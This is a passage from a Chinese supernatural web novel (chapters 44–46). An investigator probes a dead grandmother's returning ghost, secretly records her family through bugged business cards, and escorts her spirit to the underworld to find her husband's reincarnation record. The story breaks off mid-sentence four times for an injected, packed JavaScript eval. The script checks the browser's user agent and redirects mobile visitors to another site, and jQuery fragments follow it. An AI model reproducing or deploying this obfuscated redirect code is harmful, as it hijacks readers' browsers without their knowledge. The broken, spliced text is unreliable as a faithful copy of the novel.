苏太太点头：“我能肯定，那件旗袍，我奶奶下葬的时候也穿着，是她年轻的时候自己绣的，而且因为那个年代的缘故，旗袍压在箱底七十多年，除了过世那天老太太穿了一次，再没人见过，鹤城找不出第二件来。” 林疏道：“你没亲眼见过旗袍老太，为什么能确认？” 苏太太揉弄围裙的手指头瞬间蜷紧了。 林疏双眼一眨不眨看着苏太太的眼睛。 苏太太声音有些不稳，解释道：“我女儿给我画过，我嫌晦气，已经撕掉了。” 但林疏明显感觉到眼前的女士有点慌。 他微微一笑，却不再追问了，而是道：“请问你家里有没有你奶奶用过的东西？我想借用一下。” 苏太太摇头：“我家没有，我是闺女。她的东西都留给宋玉了。” 林疏知道这个名字，是陈璧兰的孙子，苏太太的弟弟。 “好，我没有别的问题了。”林疏写下最后一句，便收了笔记本，起身道谢离开。 走到门口时，他从袖子里掏出一张名片和一个包成三角的符纸，放在鞋柜上，回头道：“这个符纸给您镇宅，如果遇到什么奇怪的事，可以打名片上面的电话。” 又与苏太太告别后，林疏走出了她家。 姬悬月瞧着林疏若有所思的表情，想问怎么了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883392|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又不想跟林疏说话，整个人散发着欲言又止的哀怨气息。 林疏也没理他，而是先与两名警察道了别。 等周围没有其他人了，他主动朝姬悬月压低声音道：“你有没有觉得他们家哪里不对？” 姬悬月猝不及防，只得先放下个人恩怨，回答道：“太干净了。” 林疏点头：“这个城市里的‘怨恨’气息还是很多的，比如这个楼梯里——” 他指向每一扇门，“都有丝丝缕缕的怨气飘出来，到处缠绕。但那位苏太太家里，什么都没有。” 姬悬月道：“会是什么原因？” 林疏笑道：“有可能是他们请过什么奇怪的神婆道士作法，驱走了怨气，我能察觉到他们家里有很微弱的、用过‘术’的痕迹。” 姬悬月随口道：“这种事不是应该进去烧一张溯灵，就解决了？” ……话音刚落，他突然意识到什么，斜着眼去看林疏。 就见林疏瞧着他，露出个有些谄媚的微笑：“说得是，但我不能擅闯民宅，所以——你今晚能帮帮我吗？” 姬悬月：“？” 他就知道！林疏就等他这一句！ 这狡猾的家伙，主动破冰，却是有求于他！ 可恶的狐狸！ 见姬悬月面色不虞，林疏讪讪闭了嘴。 接下来，他带着姬悬月又去了对面不远的另一个小区——陈璧兰的孙子宋玉，就住在这里。 当然，陈璧兰过世前也住在这里。 敲宋玉家的门倒是很快就敲开了，工作日的白天，他居然在家。 林疏说明来意后，宋玉倒是没说什么，直接开门让林疏进来了。 林疏进门后，四处看了看，没见到陈璧兰的儿子——宋玉的父亲。 倒是看见阳台上有个烧着香的黑白照片，照片上是白发苍苍的女人，看起来是陈璧兰简陋的灵位。 “你是来问我奶奶的事吧？”宋玉直接道。 林疏点点头：“有些事想确认一下。” 宋玉笑道：“我还以为警察不会管这种事呢。” 林疏道：“会移交到灵异案件调查局，现在由我负责。” 然后他将问过苏太太的问题，又问了一遍宋玉。 宋玉道：“她的衣服我认得，那件衣服全鹤城找不到第二件。” 林疏道：“请问你儿子看见老人家的时候，你在场吗？” 宋玉点头：“当时我在小区楼下的超市买烟，我儿子就在我身后，他跟旗袍老太说话的时候我回头看了一眼，除了超市老板，我们身边一个人都没有。我开始还以为他跟老板说话，但他叫那个人婆婆。” 林疏道：“那你如何能确认旗袍老太的衣服是什么样的？” 宋玉却也陷入了尴尬的沉默。 林疏道：“我来之前去见过你姐了，她的话和你有一样的漏洞。” 宋玉马上移开目光，片刻后，对客厅门口不安看着他的爱人使了个眼色。 待宋太太离开了，宋玉才压低声音道：“我们最近都被老太太缠住了，不光儿子能看见，我们也偶尔能看见。” 林疏道：“她是否对你们说过什么？” 宋玉的额头冒出了一些冷汗，然后道：“她说有心愿未了，让我……帮她找人。” 44. 第 44 章 “找谁？”林疏马上问道。 宋玉却道：“不……不记得了。” 林疏叹了口气，转而道：“我来其实并不是为了找你，而是为了找她，如果你曾看见过，希望你告诉我她在哪里。” 宋玉结结巴巴道：“我……我不知道，我很久没见过她了。” 林疏问道：“你最后一次见到她是在哪里？” 宋玉道：“做梦的时候。” “……”林疏只能报以礼貌微笑，并在心里疯狂吐槽。 怕自己心里的怒音表现到脸上，林疏便带着尴尬而不失礼貌的微笑打量一下四周，就瞧见点燃的线香顶端，正有一小截香灰跌落下来。 他便随口道：“我可以给老太太上炷香吗？” 捏一把供给死人的香灰，也是可以沟通到死者的，就省去了林疏借东西归还的麻烦。 他只是临时起意，宋玉却马上摇头，嘴唇嗫嚅着，像是想找个借口却找不到。 林疏仔仔细细打量他的神情，知道这厮绝对有害怕他知道的事藏在心里。 林疏便道出了来此的最后一个目的：“请问，有没有陈璧兰女士生前用过的东西？我借用一下，用完会还给你。” 宋玉立刻道：“没有了，都丢掉了。我老婆嫌她的东西有味道，所以……” 好吧。林疏只得起身，准备告别。 临走前他又看了一眼那香炉，思索着让姬悬月进来偷一把灰的可能性…… 却发现那灵位前面，香炉落下的香灰全不见了。 但宋玉的太太并没有过来擦过供桌。 林疏心中一动，然面上不显，只起身道：“那不打扰了，我先走了。” 走到门口，他转身，掏出一张三角符，一张名片，放在了宋玉家的鞋柜上，并笑道：“符纸是镇宅驱邪的，名片上面有我的电话，如果有问题，可以联系我。” 说完，他就离开了。 他先是下了楼，然后在单元门口停了一会儿。 这种老小区的院子里有很多老年人在打牌和下棋，林疏观察了一会儿，拖着姬悬月去看一群老太太斗地主。 在他的驱使下，姬悬月不得不翻着白眼绕到另一边帮林疏看牌，然后偷偷报给他。 林疏靠着这个外挂，成功帮自己身前的老富婆连赢三局。周围的老太太顿时嘘声一片，管林疏叫小赌神，让他自己下场。 于是三分钟后林疏又把老富婆们的买菜钱赢光了，但紧接着就挨个还了回去。 “我不是来打牌的，我来打听点事。”林疏一边还钱一边道，“三单元的宋老太太，你们认识吗？” “什么宋老太太？”老富婆们一愣，“三单元……你说的该不会是去年就死了的兰姐吧？” “兰姐？”旁边的老富婆怼了怼她的袖子，“兰姐最近不是回来了吗？” “嗐，别瞎说。”老富婆瞪她一眼，“是小宋病急乱投医了，真是一人走错全家倒霉，他姐夫不是还发某音说了那事？” 林疏一听有戏，马上开始仔细打听。 原来，三单元的陈璧兰，又称兰姐，在去年冬天就去世了，无疾而终，走得很安详。 但是她的孙子不太争气，已经把她留的这套房子给抵押了，又恐怕已经赔了钱，收房子的人都上门过几次。 最近那宋玉又在家里大摆香烛之物，搞得整栋楼烟熏火燎，消防都上门好几次。 老富婆们猜测他们家闹了什么妖，但也说不出个所以然来。 直到有一天，不止一个人听见宋玉家里传来宋玉和老太太一唱一和吵架的声音。 她们便都暗地里猜测，宋玉恐怕用了什么昏招，把老太太的魂魄弄回来了，可能是要盘问家底呢！ 林疏听完了，若有所思，礼貌地跟老富婆们告了别。 先是沟通天地却遍寻不到陈璧兰。 然后是苏太太和宋玉说了一样的谎。 最后，在陈璧兰去世近一年后，宋玉的家里，传出过他和陈璧兰说话的声音。 以及最重要的一点——宋玉家养了金蚕蛊。 能够完成“置换”的、爱干净的金蚕蛊。 林疏知道，这看似是简简单单的一桩逝者回魂案，底下却不知道盘根错节了多少复杂的内情。 他一边寻没人的地方，一边低声跟姬悬月道：“今晚帮我个忙，你要分别去一趟苏穗城和宋玉家里，在确认他们睡着之后，变出实体，找到我白天留下的名片。” 姬悬月道：“他们会留下符和名片吗？说不定已经扔了。” 林疏道：“符他们一定不会留的，但名片，他们一定会留的。我虽然不能进去烧溯灵，但那两张名片上，绘有根据录音芯片的原理绘制的‘窃听符篆’。” 姬悬月：“……” 林疏邪魅一笑：“科技修仙，法力无边。” 姬悬月便笑着应了，在大事上，他不会跟林疏闹脾气。 ……然后就见林疏来到了僻静处，伸手摸出了一根银白的头发。 “宋玉家鞋柜上有一把男用的鬃毛梳，”林疏笑道，“借着放名片的机会偷偷薅的，虽然不知道白发是谁的，但总要试一试。” 将白发包进符纸中略感应了一番，林疏露出个意外的表情。 姬悬月忙问：“怎么了？” 林疏回头，直直朝着小区绿化区的一棵树走去。 这棵树枝繁叶茂，长得别提多好，但林疏盯着树看了一会儿，看得浑身发毛。 姬悬月不解道：“你怎么了？” 林疏自言自语道：“我国在1956年开始逐步推行火葬……凡是火葬的人，躯体痕迹和气息都会被一并烧净，自此，追踪符咒只能追到三魂七魄，再追不到墓葬和肉身。” 他弯腰蹲下，将手掌贴在泥土上，喃喃道：“为什么那根白发的主人……竟然在这树下面？” 不，这不可能。林疏反复推演，并多次重复符纸溯源，最终，符咒都指向这棵树。 林疏起身后退了两步，觉得后背开始发凉。 谋杀？藏尸？ 若是凡人所为，溯灵是查不到的。林疏心里乱极，接下来恐怕要让警察介入！ 至于今晚，姬悬月夜探，他倒要看看宋玉和苏太太到底留着什么没有告诉他。 夜深以后，林疏带着姬悬月出门。 哪怕已经深夜十一点，大学城附近也是热热闹闹，主要是小情侣在街上压马路，还要当街搂搂抱抱、亲亲摸摸。 林疏觉得简直没眼看，但他又不好说什么，尤其他的自行车后座上还坐着姬悬月。 姬悬月瞧着那些男男女女，倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883393|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是问了一句：“他们不觉得热吗？” 林疏看着前面搂着亲得难解难分的一对男女，尴尬道：“可能不吧。” 姬悬月道：“我看到你手机上显示，今天38度，他们都是活的，应该会很热才对。” “……”林疏心想，是啊，不是每个人抱的都是冰凉的厉鬼。 这么一想，他好像还挺占便宜的。 老城区的晚上人少又安静，小区的门卫也在打盹，林疏很轻易就溜进了苏穗城家所在的小区。 单元门锁着，但上面楼梯间有窗户开着，林疏后退两步，在摄像头的死角处轻身爬楼，顺着窗户翻进了楼道。 来到苏穗城家门口，林疏延长了缚灵索，借着放在门里面的名片做“媒介”，将姬悬月成功送进了供奉着保家仙的苏家。 ——他本来应该进不去的。 所以说不要轻易留外人的东西在家里，你永远不知道什么东西会成为对方搞事的媒介。 数分钟后，姬悬月借缚灵索化作实体，拿到名片，又同名片一起变为虚无，被林疏带出来。 到宋玉家也是如法炮制，然后林疏手里就有了两张录过音的“窃听符”。 林疏把“名片符”装进口袋，打算带回去慢慢看。 七夕的深夜里，他骑着车，后座带着姬悬月，天空阴沉沉的没有星星。 他在无人的街头穿行，偶尔遇上一对旁若无人的小情侣，倒也给静谧的夜色添了几分活泼。 林疏突然问姬悬月道：“你以前过过七夕吗？” 姬悬月道：“不知道，不记得了。或许没有，因为乞巧节又称为女儿节，跟我们男人没什么关系。” 林疏笑道：“在现在这个时候，七夕又被称为情人节呢。” 姬悬月道：“情人节是指，和喜欢的人一起过节？” 林疏道：“是的。” 姬悬月便笑了笑，不说话了。 情人节，和林疏在一起是很好的。 可他依然记得，林疏倔强地要寻找自己转世的爱人。 无论对方是谁，叫什么名字，多大年纪，会不会爱他。 这样的执着，真的有道理吗？ 姬悬月知道自己不该再纠结这个，因为无论林疏喜欢谁，喜欢什么，都与他无关。 于是林疏发现，姬悬月又沉默了。 仿佛一个下午才缓和的关系，不知道怎么莫名其妙又僵住了。 林疏在心中叹息，也只能安慰自己，这未必是坏事。 回到家后，林疏拿出两张名片，分别提取上面留下的“记录”。 苏穗城家一直很安静，到苏穗城下班、孩子放学为止，都没什么对话。反而是九点多临睡前，女孩子小声问：“妈妈，今天晚上还要去见老婆婆吗？” 苏太太则道：“今天不用去了，你可以安心做你喜欢的梦。” 而苏穗城和苏太太临睡前也简单地聊了一会儿白天林疏曾经去过的事，就没有了别的内容。 但宋玉家，却恰好相反。 从时间上估算，在林疏离开宋玉家约几分钟后，宋玉和妻子之间就爆发了剧烈的争吵。 “我是不是告诉过你，别请这种东西回来！”宋太太尖叫着，“现在什么都没了，警察都找上门来了！你让我和孩子以后怎么办！” 45. 第 45 章 “我早说过了多少遍，先生他不会害人！”宋玉咬着牙道，“现在老太太每天晚上还魂，就差一点我就能从她嘴里挖出来了！你这婆娘知道什么！我就要发财了！” “这种财谁爱发谁发！”宋太太猛地把手里的瓷器往地上一摔，“孩子们跟你一样不人不鬼，这日子我过够了！” “过够了就离婚，”宋玉冷酷道，“婚内债务一人一半！” “凭什么！”宋太太难以置信，“赌债是你自己欠下的，凭什么我要承担一半！” 宋玉冷笑：“贷款的时候，我用的可是你的名字，你当年不是非要吵着在房产证加你的名字吗？抵押的房子，是你我的共、同、财、产。” “啊啊啊啊！！！”宋太太开始疯狂砸东西，其声音太过吵闹，林疏便按住了符纸。 看来宋玉欠了很大一笔债，勤山区在鹤城三环内了，如果这里的一套房都还不上宋玉的债，这家人恐怕已经在深渊的边缘。 但林疏对这种家庭伦理剧没有兴趣，他只想知道陈璧兰在哪里。 过了会儿，估摸着两人吵完了，林疏继续读取符纸上的记录。 听声音，宋玉的小儿子似乎回来了，他并未发现家中有什么异常，乖巧地说了一句他去做作业，就回了房间。 过了许久，小男孩稚嫩的声音在儿童卧室传来：“可是我不认识那个爷爷，我要怎么帮你找呢？” 林疏的耳朵竖了起来。 “把你的照片翻过来……不行的，爸爸会生气。” “只翻一下？翻完，再放回去？” “你真的会告诉我妈妈把我手机藏在哪里吗？” 林疏啧了一声，马上原地在卧室里支供桌。 姬悬月奇道：“你这是干什么？难不成现在可以沟通到陈璧兰了吗？” 林疏迅速道：“差不多差不多，你去冰箱里帮我拿几个橘子，挑小一点的。” 姬悬月：“……” 供桌做好了，林疏点了香开了坛，念念有词，瞬息之后，他的发丝和袍角突然无风自动，又过一会儿，他眉心亮起了一个小小的光点。 佝偻的旗袍老太太在林疏面前显出了身形。 林疏面上一喜：“成了！” 陈璧兰很茫然，她四处看了看，最后目光落在了林疏身上。 如她的孙子孙女所说，她一头稀疏白发，干瘪的身体上套着一条麻袋一样不太合体的墨绿色旗袍，丝绸的面料上有非常非常精美和细致的刺绣，绣的是一群翅膀从青绿色渐变为蓝色的蝴蝶。 林疏试探着问了一句：“陈璧兰？” 老太太一听见这个名字，顿了一下，就开始哭天抹泪：“你要帮我找啊！你要帮我找！” 林疏：“……好，请问您要找什么？” 老太太道：“我要找老伴！” “……”林疏好声好气道，“您已经去世了，该去往生。再说了死人找老伴也没什么用吧，找来给你守灵吗？” 老太太瞪他：“我要找我已经过世的老伴！” “过世……”林疏嘴角抽搐，“找死了的人，你为什么在阳间找？” 老太太道：“阴间找过了，找不到！” 林疏道：“那你找人就找人，干什么去拐你自己的曾孙和曾外孙女？你这可是犯罪行为。” 老太太理直气壮：“我只是想要我的老伴！我有什么罪！” 林疏循循善诱道：“您打扰您儿孙们的正常生活啦，如果害他们阴气过盛，会生病的。但如果你是强行被拘来，留在人间，那就是另一回事了……你可记得是怎么回到阳间的吗？” 老太太一脸茫然：“什么拘来什么阳间，我一直在找我的老伴啊！” 林疏只得把话说得更透一些：“你明明去年就死了，却直到如今才回魂作祟，难道不是被人拘回来的吗？是谁告诉你来阳间可以找到你的老伴的？” 老太太却道：“没人告诉我，我只知道我在找我的老伴。” 说着，老太太当即坐在地上开始撒泼：“我要我的老伴！没有老伴我才不去往生！！！” 她这模样让林疏的DNA狠狠动了，他顿时有些害怕地问道：“你老伴不会是只猫吧？” 老太太冷冷看着林疏。 林疏下意识扭头去看姬悬月，姬悬月也一脸的问号。 林疏顿时想仰天大哭：你们都不懂我的梗！！！ 林疏抹了把脸，正色道：“请详细说说，老人家，您的老伴是谁？家住何方？” 老太太坐在地上，闻言面露呆滞，像是陷入了非常长久的回忆中。 “我的老伴，他叫……我忘了。”老太太给出开屏雷击。 林疏：“……” 姬悬月：“……” 他们不约而同地心想：我怀疑你在内涵别人。 但老太太的“忘了”只持续了十秒钟，她就成功想起了过往，开始讲一个浪漫又俗套的爱情故事。 陈璧兰，如今虽然是个鸡皮鹤发的老太太，但也曾经是父母心中如兰如璧的小公主，这样的闺名，配得上她显赫家世，和无忧无虑的人生前十年。 后来因为种种原因，小公主家中败落，只能以绣花做鞋为生，又在十七岁那年，认识了同样家道中落、从大少爷沦为教书先生的宋庭安。 两人在山河破碎中订婚、结婚，一同走向了人生的下一站。 那是一个非常动荡的年代，在风雨飘摇间，他们相互扶持，互相依偎。 乱世中相携走过，也抚育了不少子女。 但在踏入不惑之年后，宋庭安突然一病不起，并在缠绵病榻十余年后，于五十二岁这年，离开了人世。 鬼魂没有眼泪，陈璧兰浑浊的双眼却饱含着悲伤。 她学着亡夫的语气，给林疏复述道：“他临走前握着我的手，说阿璧呀，这辈子，我是不能陪着你走完了。你不要哭，要好好照顾我们的孩子，你要活很久很久，我会在奈何桥上等着你。我一定会等着你的……来生我还会牵着你的手一起走。” 林疏听得心酸，赶忙问道：“难道你走以后，没有在奈何桥上找到你的老伴吗？” 陈璧兰像个伤心的复读机：“他没有等我，我没找到他，他没有等我……我该怎么办呀？道长，你说我该怎么办？” 林疏只得先好言好语安抚她，然后询问道：“既然你是想找你已故的老伴……那为什么会回阳间来找人？还回来骚扰你的子孙后代，难道你是想找他的转世？” 陈璧兰茫然地看向小天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883394|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师：“我……我不知道，他不会转世的，他在等我！可我在阴曹地府找不到呀，就想让孩子们帮我找。” 林疏：“……你都找不到，你的孩子们就能找到了？你那个——还不到你腰的小曾孙？到底是谁告诉你的？” 陈璧兰却生起气来，理直气壮道：“我不管！他们就是要帮我找！” 很好，是鹤城那种典型的难搞老太太。 林疏咋舌，只好先答应下来，先稳住了老太太的情绪，然后随手掐算了一下，发现陈璧兰寿年92岁。 林疏：“……” 怪不得你找不到你老伴。 陈璧兰比宋庭安多活了快四十年！阴差是不会允许宋庭安在奈何桥逗留这么久的。 林疏只得再去跟老太太交涉：“陈小姐……是这样的，你活太久了！你丈夫如果真的一直在等你，恐怕都等得魂飞魄散了。就算他执念深，他也最多最多只能等你十年。” 老太太愣住了。 老太太道：“难道他抛下我自己去往生了？” 林疏道：“应该是这样。” 老太太的嘴唇开始颤抖，她急切地揉了一下眼睛，道：“可是……他答应的呀，是他说让我要好好地活，我才敢放心活这么久……答应的事怎么能、怎么能不做到呢！” 林疏只得道：“不然，你现在赶紧去投胎，你们多轮回几辈子，总有持平的一天，或许你还能遇上他。” 老太太趴在地上嚎啕大哭：“这怎么能算！这不算！他投胎转了世就不记得璧兰了，他转了世，他就不是他了！！！” 林疏怔住。 他好像明白，林聆为什么一定要把这个案子交给他来办。 抛去金蚕蛊等复杂的内情，老太太还魂案其实只需要几句话说明因果。 至多动用轮回簿，也不过是去阴司出一趟公差的事。 林聆是想告诉他……往事不可追吗？ 林疏本能扭头看了一眼旁边围观的姬悬月。 但在姬悬月察觉之前，又硬生生把目光收了回来。 林疏低头，好声好气对老太太说：“如果你愿意的话，我可以帮你查到他投胎转世后的身份，然后带你去看看他。到时您就放下执念，往生去吧。” 陈璧兰哭得血泪都要流干了：“帮我找一找他吧，我要见他，我一定要知道究竟是怎么回事……” 林疏叹了一声，道：“可以是可以，但今天太晚了，阴司也要下班休息的呀。这样，明天我上班后带您去，好吗？” 于是，林疏用葫芦先将老太太陈璧兰收了进来，挂在门上。 这样看来，老太太一心只想找自己的老伴，其实并不知道儿孙对自己做了什么。 林疏心想，能拘住老太太的魂魄，这不是那群朴实的蛊王能做出来的事，放蛊的人都有一种洁癖和对蛊的绝对自信，他们一旦开始养蛊，就不会再用其他的鬼蜮手段了。 所以，养了金蚕蛊的宋玉，真的会是一个蛊王吗？ ……还是某一个蛊王在背后操纵这些事？ 亦或是，有一个蛊王，和一个精通鬼神事的术士，在同时操纵？ 林疏越想心越沉，他躺在床上翻了个身，打算明天办完这个案子后，去跟林聆好好聊一聊。 46. 第 46 章 第二天，林疏带着一葫芦一水杯，潇洒骑车来到灵调局。 小纪看了都羡慕，这左手一只血孽鬼，右手一只执念鬼，执风子左拥右抱，实在是提前享受了齐人之福。 ……才怪。 林疏泪流满面冲着小纪吐口水，这福气给你要不要啊！ 打了卡来到办公室，林疏就着昨天没撤的供桌，撸起袖子打算设法坛通通路…… 然后突然意识到他这趟不能带姬悬月去。 被东岳阴司察觉到姬悬月逗留人间，恐怕会给天上诸神报告，到时候天雷劈下来，姬悬月就无了。 “那个……”林疏挠挠头，对姬悬月道，“我要去阴司，那里你不能去。” “哦。”姬悬月点点头，微笑道，“那你自己去吧。” 林疏：“……”怎么觉得姬悬月皮笑肉不笑的。 他看看形同虚设的玻璃水杯，也不提让姬悬月一定要进去的话了，只叹了口气，就去设坛。 姬悬月抱着臂在一旁看着林疏闭着眼睛与阴司沟通，双手变幻法决，手印乱飞。 这两天林疏设坛的时候很多，都是这样闭着眼睛认真忙活。 姬悬月就发现……好像只有在这样的时候，他才能目不转睛地盯着小狐狸看。 那样认真的模样。 其实这些神神叨叨的“结印做法”是很滑稽的。 但偏偏林疏做起来的时候，姬悬月觉得他仿佛浑身冒着仙气。 青白色旧道袍的衣角柔软翻飞，飘逸的额发扫过小狐狸清秀的眉眼。 在姬悬月眼里，甚至连林疏的一根手指头都那么好看。 或许是林疏平时太随和开朗，惹人喜爱，这样的性格总会让人忽略，他其实也是个清纯貌美的小美人。 姬悬月看着这样的小狐狸只觉得心里喜欢得不行。 又想告诉所有人，林疏是那么好。 又怕别人都知道了林疏的好，那林疏便不再只属于他一个人。 虽然林疏从来都不曾属于他。 他的手腕上，缚灵索的束缚那么细，林疏也不再时时刻刻盯着他，他满可以解了绳索远走高飞。 可他知道，自己已经被判了监禁，永远被禁锢在林疏身边。 那一边，林疏已经跟阴司的人沟通好，当即立在原地，元神出窍，带着陈老太太一起前往地府去了。 姬悬月很快察觉到林疏的气息消失，空留一具躯壳在此。 他试探着走上去，用手掌在林疏眼前晃了晃。 林疏没反应。 当然没反应，元神都跑了。 姬悬月脸上虚假的平静和冷漠终于褪去，他怔怔看着林疏的脸。 好想靠近一点，再近一点。 小狐狸阖眸的样子，好像在等着他亲上去一般…… …… 林疏以灵符为引，提着陈老太太走过了黄泉路，马上就到阴曹地府。 灵调局跟地府之间常有业务往来，也算熟门熟路，颇有交情。 这边林疏才刚刚看到忘川河边茂密的花丛，还没到奈何桥呢，孟婆已经远远打了招呼过来：“嗳！小狐狸，今天怎么是你来？你师父呢？” 林疏换上甜甜微笑：“孟小姐好，我师父出差还没回来呢。我是来查案子的，喏，陈小姐的案子。您应该也认识她吧？” 孟婆一边捂着嘴笑，手上舀汤的动作不停：“怎么会不认识呢，她这半年，无数次差点把我这熬汤的锅都打翻啦。” 陈璧兰看见地府的人就有些害怕，佝偻着腰躲在林疏背后。 林疏也不去拽她，就朝孟婆走过去，并谨慎地让出了鬼魂通过的路，以免妨碍孟婆工作。 然后询问道：“孟小姐，既然认得她，可否告诉我，她找的亡夫‘宋庭安’您可有什么印象吗？” 孟婆摇头：“她说那个人都死了四五十年，我每天忙忙碌碌，哪里记得。” 林疏道：“陈小姐说，宋庭安曾答应过她会在奈何桥上等她一起走。” 孟婆听了这话就还是笑，笑完了随手一指：“你看看那边。” 林疏朝桥下望去，发现忘川河边那些快一人高的红花石蒜花丛中，有好多好多神色呆滞的人。 孟婆道：“所有答应过要等别人一起走的鬼魂，都会留在那里。不过小狐狸你也知道，他们最多最多只能在这边等十年。” 林疏身后的陈璧兰顿时急了，也顾不上害怕，大声问道：“为什么！为什么只能等十年？十年后他们去哪儿了？” 孟婆笑了笑，伸手指着忘川：“那忘川河的水，跟我孟婆汤的功效差不了多少，他们在河边待久了，水汽蒸腾，他们日积月累吸进去自然也就什么都忘了，最后，就直接掉进河里投胎去了。” 林疏转身对陈璧兰道：“你听见了吗？就算他真的等你了，等的时间太久，也只能转世了。” 老太太眼圈一红，又要落泪。 孟婆丢了汤勺，打量了陈璧兰一圈，双眼笑得弯弯的：“陈小姐，要不你直接喝我一碗汤，投胎去吧，都忘了反而干净。” 老太太却摇摇头：“不，我要弄清楚了再投胎，我得知道他死后去了哪儿。” 林疏便对孟婆道：“她很执着，这也是我特意来一趟的原因。那就失陪了孟小姐，我赶着去找秦广王大人。” 孟婆拾起汤勺，摆摆手道：“去吧去吧，莫扰我了。” 林疏便拉着陈璧兰晃晃悠悠朝地府内走去。 十殿阎王各司其职，其中掌管人间寿夭生死册籍的，便是秦广王。 如今地府也充分现代化了，林疏坐电梯去了第一殿，与忙碌的秦广王客套了几句之后，这西装革履的十殿阎王之一就痛快批了条子。 接下来，林疏拿着条子领着手足无措的陈璧兰站在档案室门口，等待着秘书为他查找“宋庭安”的轮回簿。 戴眼镜的美丽男秘书很快找到了记录，将其打印出来，盖上章，交给了林疏。 林疏便当着陈璧兰的面，将文件一字一句读给她听。 “鹤城勤山宋家第三十二代孙宋庭安，卒年52岁。经第一殿转第十殿，由轮转王殿内3号判官，判入人间道，于1990年转世投胎。” 陈璧兰愣愣地听着：“1990年……十年……他真的等了我十年……” 林疏道：“他是1980年去世的吗？” 陈璧兰含着泪点点头。 十年生死两茫茫。不思量，自难忘。 宋庭安真的在忘川河边等了她十年。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883395|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林疏体贴地问道：“你想知道他投胎到了何处吗？” 陈璧兰却摇了摇头。 她用满是褐斑的手背擦了擦眼睛，风吹过她稀疏的白发，那白发却在林疏的视线里慢慢开始变得浓密、变回乌黑。 短短几十秒内，鸡皮鹤发的老太太，变回了袅袅婷婷的江南闺秀。 原来这身墨绿的旗袍，穿在她身上真的很美，尺寸贴合，蝴蝶的绣花更是栩栩如生。 她尚带眼泪的纤长睫毛，敛不去动人的眸光，开口，却是放下了一切的洒脱。 “我们两个，从少年情深走到白头。”她望着林疏手中薄薄纸上冰冷的文字，露出一个释然的笑容，“他说等我，没有骗我，这就够了。” 林疏怔怔道：“原来您年轻的时候这么美……” 陈璧兰笑了：“年轻的时候谁不是容色倾城？只是红颜弹指老……” “……”林疏面无表情道，“看来您生前还挺喜欢看《嬛嬛传》的。” 陈璧兰噗嗤一笑，又抬手看看自己白皙纤细的手指，感叹道：“我少时就嫁给他，虽然恩爱两全，但说到底是苦了半辈子。他走后，我全凭着他临终那些话，才撑着自己，把孩子们带大。本想与他携手走向轮回，可他已经先走了。” 林疏道：“这也是没办法的事，人各有寿数。” 陈璧兰道：“所以，是他负我，不是我负他。” 林疏道：“他1990年转生，到现在是33岁，如果你也肯等他十年，说不定他早点死，你们还能再在桥上相遇。” 陈璧兰却认真地问道：“你觉得，忘记了我的他，还是我的庭安吗？忘了他的我，还是他的璧兰吗？” 林疏的喉咙哽住。 这也是他一直在矛盾的问题。 陈璧兰道：“你不必教我自欺欺人。那年我们在宋家门口相遇，我其实是去找他妹妹，可是他一见着我，我一见着他，我们就什么都忘了，眼中只有彼此。” 林疏叹了一声。 陈璧兰看向林疏，道：“你说，他现在还会记得与我初相遇的那天吗？他现在还会记得漏雨的房子里，他送我的那把野花吗？他还记得他那件旧长衫上，被我缝做了蝴蝶的补丁吗？” 林疏只能摇头：“喝下孟婆汤和走过忘川河，效力是一样的，他什么都不会记住。” 陈璧兰微微一笑：“是啊，他不记得和我的初遇，不记得和我的恩爱，也不记得我们一起养育过那么多孩子，甚至不记得我们生死离别之际的约定。他不再是他了，我的庭安，在忘川河边的十年过后，他就永远死了。” 林疏想了想道：“你若这么想，那也很好，既然放下了，就去轮回吧。” 陈璧兰自嘲地笑了一声，拨弄着脸颊边微卷的茂密长发，举手投足，俱是风情：“是啊，我也该走向我的新生了。总之男人的话一句也不能信。” 林疏：“……” 陈璧兰已经转身走出办公室，朝着奈何桥去了。 林疏突然想到什么，追上去问道：“陈小姐，可否问你一件事？” 